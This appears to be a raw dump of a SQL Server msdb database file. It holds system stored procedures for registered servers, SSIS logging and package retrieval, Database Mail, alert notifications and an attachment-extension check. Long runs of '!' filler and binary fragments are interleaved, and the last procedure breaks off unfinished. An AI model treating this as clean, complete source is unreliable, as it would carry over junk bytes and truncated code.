!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<t]M8$0,s 8CREATE PROCEDURE [dbo].[sp_sysmanagement_delete_shared_registered_server]
    @server_id INT
AS
BEGIN
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id)
    BEGIN
        RAISERROR (35007, -1, -1)
        RETURN(1)
    END
    
    DELETE FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
    WHERE
            server_id = @server_id
    RETURN (0)
END
01/t %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O`<u^M@I0wZu 8CREATE PROCEDURE [dbo].[sp_ssis_addlogentry]
  @event sysname,
  @computer nvarchar(128),
  @operator nvarchar(128),
  @source nvarchar(1024),
  @sourceid uniqueidentifier,
  @executionid uniqueidentifier,
  @starttime datetime,
  @endtime datetime,
  @datacode int,
  @databytes image,
  @message nvarchar(2048)
AS
  INSERT INTO sysssislog (
      event,
      computer,
      operator,
      source,
      sourceid,
      executionid,
      starttime,
      endtime,
      datacode,
      databytes,
      message )
  VALUES (
      @event,
      @computer,
      @operator,
      @source,
      @sourceid,
      @executionid,
      @starttime,
      @endtime,
      @datacode,
      @databytes,
      @message )
  RETURN 0
0d8u A8-- sysmail_start_sp : allows databasemail to process mail from the queue 
CREATE PROCEDURE sysmail_start_sp
AS
    SET NOCOUNT ON
    DECLARE @rc INT 
   DECLARE @localmessage nvarchar(255)

    ALTER QUEUE ExternalMailQueue WITH STATUS = ON
    SELECT @rc = @@ERROR
    IF(@rc = 0)
    BEGIN
      ALTER QUEUE ExternalMailQueue WITH ACTIVATION (STATUS = ON);
       SET @localmessage = FORMATMESSAGE(14639, SUSER_SNAME())
       exec msdb.dbo.sysmail_logmailevent_sp @event_type=1, @description=@localmessage
    END
RETURN @rc
0nmu 
8CREATE PROCEDURE sp_add_notification
  @alert_name          sysname,
  @operator_name       sysname,
  @notification_method TINYINT -- 1 = Email, 2 = Pager, 4 = NetSend, 7 = All
AS
BEGIN
  DECLARE @alert_id             INT
  DECLARE @operator_id          INT
  DECLARE @notification         NVARCHAR(512)
  DECLARE @retval               INT
  DECLARE @old_has_notification INT
  DECLARE @new_has_notification INT
  DECLARE @res_notification     NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_notification = FORMATMESSAGE(14210)

  -- Remove any leading/trailing spaces from parameters
  SELECT @alert_name    = LTRIM(RTRIM(@alert_name))
  SELECT @operator_name = LTRIM(RTRIM(@operator_name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if the Notification is valid
  EXECUTE @retval = msdb.dbo.sp_verify_notification @alert_name,
                                                    @operator_name,
                                                    @notification_method,
                                                    @alert_id     OUTPUT,
                                                    @operator_id  OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check if this notification already exists
  -- NOTE: The unique index would catch this, but testing for the problem here lets us
  --       control the message.
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysnotifications
              WHERE (alert_id = @alert_id)
                AND (operator_id = @operator_id)))
  BEGIN
    SELECT @notification = @alert_name + N' / ' + @operator_name 
    RAISERROR(14261, 16, 1, @res_notification, @notification)
    RETURN(1) -- Failure
  END

  SELECT @old_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Do the INSERT
  INSERT INTO msdb.dbo.sysnotifications
         (alert_id,
          operator_id,
          notification_method)
  VALUES (@alert_id,
          @operator_id,
          @notification_method)

  SELECT @retval = @@error

  SELECT @new_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Notify SQLServerAgent of the change - if any - to has_notifications
  IF (@old_has_notification <> @new_has_notification)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                        @alert_id    = @alert_id,
                                        @action_type = N'U'

  RETURN(@retval) -- 0 means success
END
0V#u %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|P`<9_MhFon0y ]8CREATE PROCEDURE [dbo].[sp_ssis_getpackage]
  @name sysname,
  @folderid uniqueidentifier
AS
  DECLARE @sid varbinary(85)
  DECLARE @isencrypted bit
  DECLARE @readrolesid varbinary(85)
  DECLARE @readrole nvarchar(128)
  --// Check security, if the row exists
  SELECT @sid = [ownersid], @readrolesid = [readrolesid] FROM sysssispackages WHERE [name] = @name AND [folderid] = @folderid
  IF @sid IS NOT NULL
  BEGIN
      IF @readrolesid IS NOT NULL
      BEGIN
          SELECT @readrole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @readrolesid
          IF @readrole IS NULL SET @readrole = 'db_ssisadmin'
      END
      IF @readrole IS NOT NULL
      BEGIN
          IF (IS_MEMBER(@readrole)<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (IS_MEMBER('db_ssisltduser')<>1) OR (@sid<>SUSER_SID())
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
      ELSE
      BEGIN
          IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1) AND (IS_MEMBER('db_ssisoperator')<>1)
          BEGIN
              IF (IS_MEMBER('db_ssisltduser')<>1) OR (@sid<>SUSER_SID())
              BEGIN
                  RAISERROR (14586, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
  END

  SELECT
      packagedata
  FROM
      sysssispackages
  WHERE
      [name] = @name AND
      [folderid] = @folderid
0y 8-- sp_isprohibited : To test if the attachment is prohibited or not.
--
CREATE PROCEDURE sp_isprohibited
   @attachment nvarchar(max),
   @prohibitedextensions nvarchar(1000)
AS

DECLARE @extensionIndex int
DECLARE @extensionName nvarchar(255)

IF (@attachment IS NOT NULL AND LEN(@attachment) > 0) 
BEGIN
    SET @prohibitedextensions = UPPER(@prohibitedextensions)

   -- find @extensionName: the substring between the last '.' and the end of the string
   SET @extensionIndex = 0
   WHILE (1=1)
   BEGIN
      DECLARE @lastExtensionIndex int
      SET @lastExtensionIndex = CHARINDEX('.', @attachment, @extensionIndex+1)
      IF (@lastExtensionIndex = 0)
         BREAK
      SET @extensionIndex = @lastExtensionIndex
   END

   IF (@extensionIndex > 0)
   BEGIN
